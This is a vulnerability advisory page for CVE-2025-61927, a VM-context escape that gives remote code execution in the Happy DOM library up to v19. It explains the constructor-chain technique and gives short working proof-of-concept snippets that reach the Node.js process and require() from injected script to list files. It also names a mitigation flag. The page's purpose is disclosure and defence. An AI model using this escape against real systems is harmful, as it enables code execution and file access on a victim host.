CVE-2025-61927 is a low severity vulnerability with a CVSS score of 0.0. No known exploits currently, and patches are available.
Very low probability of exploitation
EPSS predicts the probability of exploitation in the next 30 days based on real-world threat data, complementing CVSS severity scores with actual risk assessment.
Happy DOM v19 and lower contains a security vulnerability that puts the owner system at the risk of RCE (Remote Code Execution) attacks.
A Node.js VM Context is not an isolated environment, and if the user runs untrusted JavaScript code within the Happy DOM VM Context, it may escape the VM and get access to process level functionality.
It seems like what the attacker can get control over depends on if the process is using ESM or CommonJS. With CommonJS the attacker can get hold of the require() function to import modules.
Happy DOM has JavaScript evaluation enabled by default. This may not be obvious to the consumer of Happy DOM and can potentially put the user at risk if untrusted code is executed within the environment.
const { Window } = require('happy-dom');
const window = new Window({ console });
window.document.write(`
<script>
const process = this.constructor.constructor('return process')();
const require = process.mainModule.require;
console.log('Files:', require('fs').readdirSync('.').slice(0,3));
</script>
`);
const { Window } = require('happy-dom');
const window = new Window({ console });
window.document.write(`
<script>
const process = this.constructor.constructor('return process')();
console.log('PID:', process.pid);
</script>
`);
const { Window } = require('happy-dom');
const window = new Window();
window.document.innerHTML = userControlledHTML;
Any test suite using Happy-DOM with untrusted content may be at risk
Please cite this page when referencing data from Strobes VI. Proper attribution helps support our vulnerability intelligence research.
eval() and Function() can still be used within the Happy DOM VM without any known security riskAll classes and functions inherit from Function. By walking the constructor chain it's possible to get hold of Function at process level. As Function can evaluate code from strings, it's possible to execute code at process level.
Running Node with the "--disallow-code-generation-from-strings" flag protects against this.